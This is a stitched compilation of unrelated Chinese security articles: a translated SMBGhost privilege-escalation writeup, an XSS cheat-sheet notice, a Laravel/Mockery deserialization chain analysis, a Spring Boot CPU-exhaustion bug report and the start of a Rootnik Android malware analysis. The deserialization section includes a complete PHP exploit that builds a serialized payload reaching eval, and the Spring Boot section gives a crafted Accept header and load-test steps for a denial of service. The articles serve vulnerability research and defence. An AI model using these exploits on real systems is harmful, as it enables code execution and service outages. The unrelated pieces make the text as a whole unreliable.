原文：[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation:
Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
作者：[ZECOPS安全团队](https://blog.zecops.com/author/admin/)
* * *
## 介绍
CVE-2020-0796是SMBv3.1.1的压缩机制中的一个漏洞，也叫做“SMBGhost”。这个漏洞会影响Windows
10的1903和1909版本，在三周前由微软[发布](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005)并修复。得知此消息后，我们快速阅读了这个漏洞的细节并编写了一个简单的[PoC](https://blog.zecops.com/vulnerabilities/vulnerability-reproduction-cve-2020-0796-poc/)，这个PoC说明了如何在未验证的情况下，通过引发死亡蓝屏在远程触发该漏洞。几天前，我们再一次研究该漏洞，想看看除了DoS之外，这个漏洞还能产生什么影响。微软的安全公告将该漏洞描述为远程命令执行(RCE)漏洞，但目前还没有公开的PoC实现这一点。
## 初步分析
该漏洞是一个整数溢出漏洞，发生在SMB服务器驱动程序srv2.sys的`Srv2DecompressData`函数中。下面给出该函数的一个简化版本，省略了一些无关信息：
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
从代码中可以看出，`Srv2DecompressData`函数接收从客户端发来的压缩信息，分配所需内存，解压缩信息，之后，如果`Offset`字段不为0，函数会将放置在压缩数据前的数据原样复制到分配的缓冲区开头。
如果仔细观察，可以发现错误的输入可能会导致代码的第20行和第31行发生整数溢出。例如，许多漏洞发布后不久给出的导致系统崩溃的PoC都使用`0xFFFFFFFF`作为`Offset`字段的值，这个值会导致代码的第20行发生整数溢出，从而使分配的缓冲区变小。
它同样会在之后的第31行引发另一个整数溢出，代码第30行计算出的地址与接收到的消息位置相距甚远，系统崩溃的原因就是访问了这个地址。如果代码在第31行对计算结果进行了验证，由于结果为负数，程序将提前结束，这样第30行的地址也就没有用了。
## 选择溢出的位置
只有两个我们可以控制的字段能够造成整数溢出：`OriginalCompressedSegmentSize`和`Offset`，所以选择并不多。我们实验了几种组合，其中的一种引起了我们的注意：有效的`Offset`值和极大的`OriginalCompressedSegmentSize`值。下面看一下在这种情况下，代码执行过程中的三个主要步骤分别会发生什么：
1. **分配** ：由于整数溢出，缓冲区分配的字节数要小于两个字段值之和。
2. **解压缩** ：由于`OriginalCompressedSegmentSize`过大，函数会认为目标缓冲区几乎为无限大，但是因为解压缩函数中的其他参数不受影响，这一步将按照预期工作。
3. **复制** ：如果真的可以执行到这里的话，复制RawData操作也会按预期工作。
无论是否能执行到第三步，事情已经开始变得有趣了——我们可以在 **解压缩** 阶段触发越界写操作，因为在 **分配** 阶段分配的缓冲区小了。
从上图可以看出，我们可以使用这种方法触发任意大小和内容的溢出，但是缓冲区之外的数据究竟是什么呢？
## 深入SrvNetAllocateBuffer函数
要想回答上面的问题，就要看一下实现分配功能的函数了，即`SrvNetAllocateBuffer`，下面是这个函数中一段有意思的代码：
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
// ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
从上面的代码可以看出，根据请求的字节数不同，分配函数会执行不同的操作。如果请求字节数大于约16MB，请求失败；在约1MB至约16MB之间，使用`SrvNetAllocateBufferFromPool`函数进行分配；小于约1MB则返回后备列表中的空间。
注：函数中还使用了一个`SrvDisableNetBufferLookAsideList`标志，同样会影响函数的功能，这个标志由未记录的注册表设置，默认禁用，因此在这里不做考虑。
后备列表是为驱动程序保留的一组可重用，固定大小的缓冲区，其功能之一就是为管理缓冲区定义了一组自定义的分配和释放函数。通过查看`SrvNetBufferLookasides`数组的引用，可以发现它是在`SrvNetCreateBufferLookasides`函数中被初始化的，从初始化的过程中，我们有以下几点发现：
* 自定义的分配函数叫做`SrvNetBufferLookasideAllocate`，它调用了`SrvNetAllocateBufferFromPool`函数；
* 通过Python的快速计算，9个后备列表的大小分别为：
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
这也符合我们上面的发现：大于`0x100100`字节的分配请求不使用后备列表进行分配。
所以说每个分配请求最终都调用了`SrvNetBufferLookasideAllocate`函数，下面我们来看一下这个函数。
## SrvNetBufferLookasideAllocate函数及其分配的缓冲区分布
`SrvNetBufferLookasideAllocate`函数通过调用`ExAllocatePoolWithTag`从`NonPagedPoolNx`池中分配缓冲区，并用数据填充其中的一些结构，下图表示了已分配缓冲区的分布情况：
唯一与我们这次研究有关的位置就是`User buffer`以及`ALLOCATION_HEADER`结构。可以看出，如果在`User
buffer`发生溢出，最终就可以覆盖`ALLOCATION_HEADER`结构，看起来十分方便。
## 覆盖 ALLOCATION_HEADER结构
一开始我们认为，因为在`SmbCompressionDecompress`函数调用后，有以下代码：
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
在条件判断中，`OriginalCompressedSegmentSize`是一个极大值，而`FinalCompressedSize`表示解压缩后的真实字节数，因此条件符合，会执行`SrvNetFreeBuffer`函数，返回`STATUS_BAD_DATA`，程序会执行失败。因此我们分析了`SrvNetFreeBuffer`函数，想要把参数替换为其他值，让释放函数尝试释放它，之后再引用这个值时可以实现use-after-free或者类似漏洞。但让我们惊讶的是，崩溃竟然发生在`memcpy`函数，这挺让人高兴的，因为我们本来没想到程序会执行到这里，无论如何，还是检查一下发生这种情况的原因。可以在`SmbCompressionDecompress`函数中找到解释：
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
从以上代码可以看出，如果解压缩成功，函数会直接把`CompressedBufferSize`的值赋值给`FinalCompressedSize`，而`CompressedBufferSize`就是`OriginalCompressedSegmentSize`。根据这一步的赋值操作，以及已分配缓冲区的分布情况，我们可以很容易地利用这个漏洞。
因为程序一直执行到复制RawData的步骤，我们先回顾一下这部分的代码：
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
目标地址`Alloc->UserBuffer`是从`ALLOCATION_HEADER`结构中获取的，可以在解压缩步骤中被我们覆盖重写，而缓冲区的内容以及大小即RawData也由我们控制，至此，我们就可以实现内核上的远程任意内存覆盖(Remote
write-what-where)。
## 远程任意内存覆盖的代码实现
我们用Python实现了一个[Write-What-Where CVE-2020-0796
Exploit](https://github.com/ZecOps/CVE-2020-0796-LPE-POC/blob/master/write_what_where.py)，代码简单直接，是根据[maxpl0it](https://twitter.com/maxpl0it)的CVE-2020-0796
DoS PoC写出的。
## 本地权限提升
那么我们可以用这个exploit做些什么呢？显然我们可以使系统崩溃，或者虽然还没有找到实际的方法，但是我们也可能触发远程代码执行。如果我们在本地使用该exploit，可以泄露额外的信息，那么就可以用来提升本地权限，目前已经有多种技术证明了这种方法的可行性。
我们使用的第一种技术来自2017年Morten Schenk在Black
Hat上的[演讲](https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf)，此技术会覆盖重写`win32kbase.sys`驱动程序的`.data`段中的一个函数指针，然后从用户模式中调用适当的函数来实现代码执行。j00ru在2018年的WCTF上写了一篇关于如何使用此技术的优秀文章，并且提供了exploit代码。我们对这段代码进行了修改，并应用到我们的任意内存覆盖exploit中，但是并不起作用，因为处理SMB消息的线程不是GUI线程，因此不会映射`win32kbase.sys`文件，也就无法使用此技术（除非能找到一种方法把它变成GUI线程，而我们对此并无研究）。
我们最终使用了一个[cesarcer](https://twitter.com/cesarcer)在2012年的Black
Hat演讲“[轻松实现本地Windows内核利用](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)”中提出的著名的技术。这项技术会用`NtQuerySystemInformation(SystemHandleInformation)`
API泄露并覆盖当前进程令牌地址，授予当前进程令牌权限并可用于之后的权限提升。 Bryan Alexander
([dronesec](https://twitter.com/dronesec))和Stephen Breen
([breenmachine](https://twitter.com/breenmachine))在“[EoP中的令牌权限滥用](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)”中给出了多种使用不同令牌权限进行权限提升的方法。
根据[Alexandre
Beaulieu](https://segfault.me/)在他的文章“[用任意写实现权限提升](https://segfault.me/2019/05/24/exploiting-an-arbitrary-write-to-escalate-privileges/)”中给出的代码，我们重写了自己的exploit。通过将一个DLL文件注入到`winlogon.exe`中，我们修改了进程的令牌权限并实现了权限提升，使用这个DLL文件是为了启动一个有特权模式的`cmd.exe`程序。你可以在[这里](https://github.com/ZecOps/CVE-2020-0796-LPE-POC)获取完整的本地权限提升PoC，此PoC仅用于科研与防御研究。
## 总结
在这篇文章中，我们证明了CVE-2020-0796漏洞可以用来实现本地权限提升，但是注意，我们的exploit只处于中等的完整性级别，因为它依赖的API调用在更低的完整性级别中不可用。如果进行更深的研究，或许我们可以实现更强的功能，毕竟已分配的缓冲区中还有很多区域可以被覆盖，也许其中的某个区域就可以帮助我们实现更多有趣的功能，例如远程代码执行。
[POC源码](https://github.com/ZecOps/CVE-2020-0796-LPE-POC)
## 防御与修复
1. 我们建议将服务器和主机升级到Windows的最新版本，如果可能的话，在更新完成前关闭445端口。事实上，无论是否有CVE-2020-0796漏洞，我们都建议在可能的情况下启用主机隔离。
2. 尽可能禁用SMBv3.1.1的压缩功能，以避免触发此漏洞。不过还是建议在可能的情况下进行完整的更新。 | 社区文章 |
**作者：[Gareth Heyes](https://twitter.com/garethheyes "Gareth Heyes")
项目名称：Cross-site scripting (XSS) cheat sheet
项目地址：<https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>
**
此跨站脚本（XSS）速查表包含许多向量，可以帮助你绕过 WAF 和过滤器。你可以通过 event、tag 或 browser 选择向量，每个向量都包含
PoC。
本表单于 2019
年定期更新，你也可以通过更新JSON、创建请求来加以贡献。Github地址：<https://github.com/PortSwigger/xss-cheatsheet-data>
* * * | 社区文章 |
昨天p牛在小密圈发布了`Code-Breaking 2018` `lumenserial`题目的官方反序列化payload，在这里简单分析一下。
首先入口点利用的依然是类`Illuminate\Broadcasting\PendingBroadcast`的`__destruct`方法。
接着调用的是类`Illuminate\Bus\Dispatcher`的`dispatch`方法
这里需要进入`$this->dispatchToQueue`，因此需要满足if条件，第一个条件就不用说了，跟进`$this->commandShouldBeQueued`
需要`$command`也就是`$this->event`实现了`ShouldQueue` _接口。_
我们可以通过全局搜索来找，具体使用哪个类可能还需要根据后面的利用条件来选择，p牛这里用的是`Illuminate\Broadcasting\BroadcastEvent`
__
继续跟进`$this->dispatchToQueue($command)`，可以看到这里有一个任意方法调用。方法可控，参数`$connection`等于`$command->connection`
这里p牛利用的是类`Mockery\Loader\EvalLoader`的`load`方法
可以看到下面的`eval`可以利用，但我们需要先绕过if条件，也就是让`class_exists($definition->getClassName(),
false)`返回false。这里的`$definition`也就是`$this->event->connection`的类型必须是`Mockery\Generator\MockDefinition`类的对象。
<?php
namespace Mockery\Generator;
class MockDefinition
{
protected $config;
protected $code;
public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
}
public function getConfig()
{
return $this->config;
}
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}
这里的`getClassName`方法返回的是`$this->config->getName()`，我们只需要找到一个含有`getName`方法且返回值可控的类，让其返回一个不存在的类名即可。
类`Mockery\Generator\MockConfiguration`
最后进入`eval("?>" . $definition->getCode());`，getCode的返回值我们依然可控。
最终实现任意代码执行。
exp:
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events,$event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code = '<?php phpinfo();?>';
public function __construct($config)
{
$this->config = $config;
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = '1234';
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace{
$Mockery = new Mockery\Loader\EvalLoader();
$queueResolver = array($Mockery, "load");
$MockConfiguration = new Mockery\Generator\MockConfiguration();
$MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
$BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
$Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher,$BroadcastEvent);
echo urlencode(serialize($PendingBroadcast));
}
?>
ps: phpstorm真香 | 社区文章 |
# SpringBoot2.2.x 版本CPU增高BUG分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、发现问题
项目在上线之后，运行24小时之后CPU突然增高，导致不得不重启机器。
## 二、分析及定位问题
项目在上线前是经过压力测试，刚开始定位是QPS过大，通过增加机器。但结果并不是特别理想，始终会有几台机器增高。
### 项目环境
* 测试机 1c2g
### 1、测试
通过jmeter对该机器接口进行压力测试，qps为90，cpu增高到40%持续没多久下降到10%，一直持续稳定。并未产生CPU过高的情况，该机器配置比正式环境要低4倍，第一步得出的结论应该不在接口上
### 2、更换项目中比较早期版本的插件及线程池
重新上线项目之后，运行1天之后，依然有2台机器的CPU持续增高，并且越往后增加越大
### 3、开始针对线上高CPU服务器排查
#查看java的pid
top
#查看pid下的占用高的tid
top -Hp pid
#打印tid16进制
printf "%xn" tid
#查看栈 输出到xx.log
jstack pid|grep -A 2000 tid的16进制 > xx.log
#查看gc 打印每2000ms输出一次，共10次
jstat -gcutil pid 2000 10
结论：栈信息基本都是RUN或TIME_WATING 并没有相关的死锁的线程，但是通过gc发现大量的YGC持续的增高，这时候考虑到可能堆的信息有异常
### 4、针对堆信息查看
#查看堆
jmap pid
jmap -heap pid
jmap -histo:live pid
...
#常用的是最后一个 加一个more 防止过多内容刷屏
jmap -histo:live pid|more
执行多次最后一个命令，发现一个队列在持续的增高，几百几百的增加并无然后减少的情况
1: 111885 139385304 [Ljava.lang.Object;
3: 10515 15412904 [I
4: 142407 13450056 [C
5: 13892 4170928 [B
6: 135968 3263232 java.lang.String
.....
34: 6423 308304 java.util.HashMap
35: 12459 299016 java.util.concurrent.ConcurrentLinkedQueue$Node
最后一行就是发现增长过快的队列，到此算是发现了一个比较有用的信息，回头就去分析代码。但依然没有什么结论，代码逻辑并不复杂也并未使用到该队列。
### 5、咨询大佬，建议通过火焰图定位某个阶段执行过程的消耗情况
#开始安装火陷图插件
#具体安装插件的过程，大家自行搜索，本文不具体描述如何安装火陷图
### 6、执行命令生成火陷图
通过上图，我们能直观的看到在MimeTypeUtils方法中，使用到了过多的这个队列，然后就直接去看源码了。目前官方已经修复了一版在2.2.6版本中（但是很不幸运，并没有完全修复）
下面是2.2.6版本修复一版的代码，去除了之前的一些没有意义判断,MimeTypeUtils.java文件
private static class ConcurrentLruCache<K, V> {
private final int maxSize;
private final ConcurrentLinkedQueue<K> queue = new ConcurrentLinkedQueue<>();
....
public V get(K key) {
this.lock.readLock().lock();
try {
if (this.queue.size() < this.maxSize / 2) {
V cached = this.cache.get(key);
if (cached != null) {
return cached;
}
}
else if (this.queue.remove(key)) {
this.queue.add(key);
return this.cache.get(key);
}
}
finally {
this.lock.readLock().unlock();
}
this.lock.writeLock().lock();
try {
// retrying in case of concurrent reads on the same key
if (this.queue.remove(key)) {
this.queue.add(key);
return this.cache.get(key);
}
if (this.queue.size() == this.maxSize) {
K leastUsed = this.queue.poll();
if (leastUsed != null) {
this.cache.remove(leastUsed);
}
}
V value = this.generator.apply(key);
this.queue.add(key);
this.cache.put(key, value);
return value;
}
finally {
this.lock.writeLock().unlock();
}
}
}
单纯的阅读代码，并没有什么大的BUG，但是我们可以去关注队列本身的问题。
查看ConcurrentLinkedQueue remove 源码
public boolean remove(Object o) {
if (o != null) {
Node<E> next, pred = null;
for (Node<E> p = first(); p != null; pred = p, p = next) {
boolean removed = false;
E item = p.item;
if (item != null) {
if (!o.equals(item)) {
next = succ(p);
continue;
}
removed = p.casItem(item, null);
}
next = succ(p);
if (pred != null && next != null) // unlink
pred.casNext(p, next);
if (removed)
return true;
}
}
return false;
}
如果存在多个则删除第一个，并返回true，否者返回false，例如：多个线程同时要获取到同一个要删除的元素，则只删除一个，其他返回false，再结合MimeTypeUtils方法，会再去执行add，这就导致会对队列出现无限的增长【可能】（非百分百）。
### 7、结论
造成CPU性能过高，是因为队列长度过长，remove方法需要遍历整个队列内容。队列过长的原因是因为remove
并发情况下返回false，开发过程中可能并未关注到remove会返回false，导致无限的执行add方法的可能。
## 三、验证问题
通过debug发现spring boot在执行过程中会针对用户请求的Accept和返回的Content-Type都会调用该方法。这时候其实就可以恶意构造Accept去请求某个api，Accept中每个用逗号分割都会过一次方法，导致大量性能消耗。本地通过构造多个Accpet值，发现在MimeTypeUtils中确实可以超出本身对队列的长度设置，导致缓慢增长。
1、通过官方github-issues搜索相关问题，发现已经有人在最近提到过该问题，并已经被close。
2、通过再次回复官方研发人员，并提供更多的相关信息证明2.2.6版本修复之后依然存在该问题
* <https://github.com/spring-projects/spring-framework/issues/24671#issuecomment-611427157>
3、在此期间又有人给出通过MediaType 上传类型构造的Accept
* <https://github.com/spring-projects/spring-framework/issues/24767>
4、具体构造验证
找一台低配版的服务 1c2g
使用jmeter，设置线程组，不需要特别高50个线程，永久发送
设置header的Accpet，可以先使用内容如下：
application/stream+x-jackson-smile, application/vnd.spring-boot.actuator.v3+json, application/vnd.spring-boot.actuator.v2+json, application/json, multipart/form-data; boundary=----WebKitFormBoundaryVHfecvFDYeDEjhu4, multipart/form-data; boundary=----WebKitFormBoundarymKzwdDkWNDNzQFP0, multipart/form-data; boundary=----WebKitFormBoundaryiWpMXOUbWwBwq2AX, application/x-www-form-urlencoded, text/html;charset=UTF-8, application/octet-stream, application/vnd.ms-excel;charset=utf8, application/msword, multipart/form-data; boundary=----WebKitFormBoundaryGF2AJ2ZdPqbWOyEO, multipart/form-data; boundary=----WebKitFormBoundaryTZLPpyBs2F0ycmkB, multipart/form-data; boundary=----WebKitFormBoundaryBUClXdZPA3oxpUpx, image/jpeg;charset=UTF-8, multipart/form-data; boundary=----WebKitFormBoundarysODcdeMwzfHwEjtw, multipart/form-data; boundary=----WebKitFormBoundary26i2en6YQUSXUBzs, multipart/form-data; boundary=----WebKitFormBoundaryxUUWAyZnZjwlM1oy, multipart/form-data; boundary=----WebKitFormBoundarysVMYk11tVTTsXuEB, multipart/form-data; boundary=----WebKitFormBoundaryXsI4dpNsVTCWWrRo, multipart/form-data; boundary=----WebKitFormBoundaryiV1owCGwTHyQzja0, multipart/form-data; boundary=----WebKitFormBoundarygf1XpLmgasAQU9fi, multipart/form-data; boundary=----WebKitFormBoundaryBNaQtUvpQ2VV7YYA, multipart/form-data; boundary=----WebKitFormBoundaryW1rdrg4AbJ5Jn3Po, multipart/form-data; boundary=----WebKitFormBoundaryoBwFj2ABM5LflDmW, multipart/form-data; boundary=----WebKitFormBoundary40xI2TxryjbkSCtO, multipart/form-data; boundary=----WebKitFormBoundarytaCC9B6g8u4urnLF, multipart/form-data; boundary=----WebKitFormBoundaryOrhplGKYP9ozLkCs, multipart/form-data; boundary=----WebKitFormBoundaryvEUouFAr3R3YJYBh, multipart/form-data; boundary=----WebKitFormBoundaryuQ9tEKtn59w5hPLY, multipart/form-data; boundary=----WebKitFormBoundaryRGvPXUBAuZ6xJ95u, application/vnd.openxmlformats-officedocument.wordprocessingml.document, multipart/form-data; boundary=----WebKitFormBoundary7jpljZi4k61KhCNN, multipart/form-data; boundary=----WebKitFormBoundary7GVKDTHVuBABvjGB, multipart/form-data; boundary=----WebKitFormBoundaryZbNBPl3T4VZ44q6B, audio/mp3, multipart/form-data; boundary=----WebKitFormBoundaryI6rUM76YvxrIEcqv, multipart/form-data; boundary=----WebKitFormBoundaryag4BDWrzifHRdDiR, multipart/form-data; boundary=----WebKitFormBoundary1YRsWAdVqDin8g8p, multipart/form-data; boundary=----WebKitFormBoundaryDaatlrV3KAyZu7wA, multipart/form-data; boundary=----WebKitFormBoundaryyhvikZJdRGH1AjQq, multipart/form-data; boundary=----WebKitFormBoundary2z4SJhqeEx5XtVj4, multipart/form-data; boundary=----WebKitFormBoundaryeDLd1MTvuhmcmzNe, multipart/form-data; boundary=----WebKitFormBoundarybKizrvRESfhxHAMQ, multipart/form-data; boundary=----WebKitFormBoundary24U8tmsOluZqcRXX, multipart/form-data; boundary=----WebKitFormBoundarye4j6KdQyBjY4FqSk, multipart/form-data; boundary=----WebKitFormBoundaryjPmgLdzMcMYYB3yS, multipart/form-data; boundary=----WebKitFormBoundaryxzBZ9w6Je3IJ53NM, multipart/form-data; boundary=----WebKitFormBoundaryScy0j73cvx3iCFyY, multipart/form-data; boundary=----WebKitFormBoundaryTBoS8s4YWwmBGTDA, image/*, multipart/form-data; boundary=----WebKitFormBoundaryRUutFo3RXlNPgoBS, text/html;charset=utf-8, multipart/form-data; boundary=----WebKitFormBoundarykLObBi1tJMf158kt, multipart/form-data; boundary=----WebKitFormBoundary8M8MfCWBEFcsxnBU
开始进行请求，然后我们再通过服务器中针对堆信息查看命令，查看 ConcurrentLinkedQueue队列增长情况
持续压测，然后再打开另三个jemter，做同样的请求操作，将header的Accept分别设置如下三种情况，也可以更多：
#第一种
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
#第二种
text/css,*/*;q=0.1
#第三种
application/json
以上三个线程可以设置每个为30，永久。
我们再通过打印堆信息可以发现ConcurrentLinkedQueue队列开始突破限制突然增高，又突然减少，这时候可以把第一个jmeter请求先暂停。然后再持续观察堆信息
[xx[@xxx](https://github.com/xxx "@xxx") ~]$ jmap -histo:live 10114|grep java.util.concurrent.ConcurrentLinkedQueue
33: 4809 115416 java.util.concurrent.ConcurrentLinkedQueue$Node
768: 36 864 java.util.concurrent.ConcurrentLinkedQueue
[xx[@xxx](https://github.com/xxx "@xxx") ~]$ jmap -histo:live 10114|grep java.util.concurrent.ConcurrentLinkedQueue
30: 5530 132720 java.util.concurrent.ConcurrentLinkedQueue$Node
768: 36 864 java.util.concurrent.ConcurrentLinkedQueue
[xx[@xxx8](https://github.com/xxx8 "@xxx8") ~]$ jmap -histo:live 10114|grep java.util.concurrent.ConcurrentLinkedQueue
30: 5530 132720 java.util.concurrent.ConcurrentLinkedQueue$Node
767: 36 864 java.util.concurrent.ConcurrentLinkedQueue
[xx[@xxx](https://github.com/xxx "@xxx") ~]$ jmap -histo:live 10114|grep java.util.concurrent.ConcurrentLinkedQueue
29: 6994 167856 java.util.concurrent.ConcurrentLinkedQueue$Node
768: 36 864 java.util.concurrent.ConcurrentLinkedQueue
[xx[@xxx](https://github.com/xxx "@xxx") ~]$ jmap -histo:live 10114|grep java.util.concurrent.ConcurrentLinkedQueue
29: 7262 174288 java.util.concurrent.ConcurrentLinkedQueue$Node
768: 36 864 java.util.concurrent.ConcurrentLinkedQueue
[xx[@xxx](https://github.com/xxx "@xxx") ~]$ jmap -histo:live 10114|grep java.util.concurrent.ConcurrentLinkedQueue
26: 9829 235896 java.util.concurrent.ConcurrentLinkedQueue$Node
777: 36 864 java.util.concurrent.ConcurrentLinkedQueue
明显可以发现ConcurrentLinkedQueue在增高。到此针对SpringBoot在2.2.6版本中cpu持续增高情况已经可以完全的复现，复现过程可能会存在不成功，可以多试几次。
## 四、解决方案
1、目前发现在多核CPU的情况下增长比较缓慢，但是到一定的长度之后也会加速加大CPU的消耗，所以高配置可能是一个解决方案
2、降级方案，目前通过对比。SpringFramework在5.1.x版本无太大影响。
3、等待更新 目前master再次修复一版，预计4.27发布，官方也将MimeTypeUtils列为5.3.x版本重构之一
#修复方案从 ConcurrentLinkedQueue 队列切换到了 ConcurrentLinkedDeque 队列
## 五、补充
验证 ConcurrentLinkedQueue 队列，出现false情况
import java.util.concurrent.ConcurrentLinkedQueue;
import java.util.concurrent.LinkedBlockingQueue;
public class Main {
private static ConcurrentLinkedQueue<Integer> queue = new ConcurrentLinkedQueue<>();
public static void main(String[] args) {
for (int i = 0; i < 1000; i++) {
Thread thread1 = new QueueThread(String.valueOf(i));
thread1.start();
}
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("end");
}
static class QueueThread extends Thread {
private int value = 0;
private String name;
public QueueThread(String name) {
this.name = name;
queue.add(value);
}
@Override
public void run() {
for (int i = 1; i < 1000; i++) {
try {
boolean flag = queue.remove(value);
System.out.println("remove: " + value + " "+ flag);
queue.add(value);
value++;
} catch (Exception e) {
System.out.println(e);
}
}
}
}
}
备注：如果是2.2.1-2.2.5 版本是会造成频繁的拿锁与解锁，本篇是以2.2.6版本为分析 | 社区文章 |
原作者：Kai Lu
译者：[BlackTrace](http://www.kejidi.net)
> [原文链接](https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-> rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-> the-scope-of-native-layer)
>
> 最近，我们发现了一个新的android rootnik 恶意app，它使用了开源的Android root漏洞利用工具和来自dashi
> root工具里的MTK root方案在Android设备上获取root权限。这个恶意软件把自己伪装成文件管理app(file helper
> app),其次还使用了很高级的反调试和反hook技来防止被逆向工程。它还使用了多个dex的方案去加载第二个dex文件。在成功获取了设备的root权限后，rootnik恶意app能执行多个恶意行为，例如，app和广告的推广，色情的推广，在主屏幕上创建快捷方式，静默安装app，推送通知等。在这个博客，我将深度分析这个恶意app。
## 快速浏览这个恶意app
这个恶意app 看起来像你android手机里管理你的文件或者其他存储的资源的合法文件管理器（file helper app）。
图1. 恶意app的安装后的图标
图2. 恶意app的界面
我们来反编译这个apk文件，结果如图3
图3. 反编译后的文件
它的包名是com.web.sdfile。首先让我们来看一下它的AndroidManifest.xml文件。
图4. 这个app里面的AndroidManifest.xml文件
我们并没有在main activity中找到图4中的com.sd.clip.activity.FileManagerActivity, service
class, broadcast class。很明显，这个文件管理器（file helper
app）的主要逻辑代码并没有在这个classes.dex。经过分析后返现，这个恶意app使用了multidex方案去动态加载和运行第二个dex。
## Rootnik是如何工作的？
### I. Rootnik工作流程
下图是这个Android rootnik malware的工作流程
图5. Android rootnik malware的工作流程
### II. 深度分析第一个dex文件
下图是SecAppWrapper类的代码片段
图6. SecAppWrapper类的代码片段
这个执行流程如下
> 静态代码块 -> attachBaseContext -> onCreate
静态代码快加载动态链接库
libSecShell.so到assets文件夹，并进入native层执行多个反调试操作，解密第二个dex文件，然后使用multidex方案去加载解密后的第二个dex文件，解密后的第二个dex文件，才是真正的程序主逻辑。
类Dexinstall其实是类MultiDex，关于Multidex的资料<https://android.googlesource.com/platform/frameworks/multidex/+/d79604bd38c101b54e41745f85ddc2e04d978af2/library/src/android/support/multidex/MultiDex.java>
这个程序调用Dexinstall里面的install方法去加载第二个dex文件。这个install方法是在native层调用的。
图7 安装第二个dex
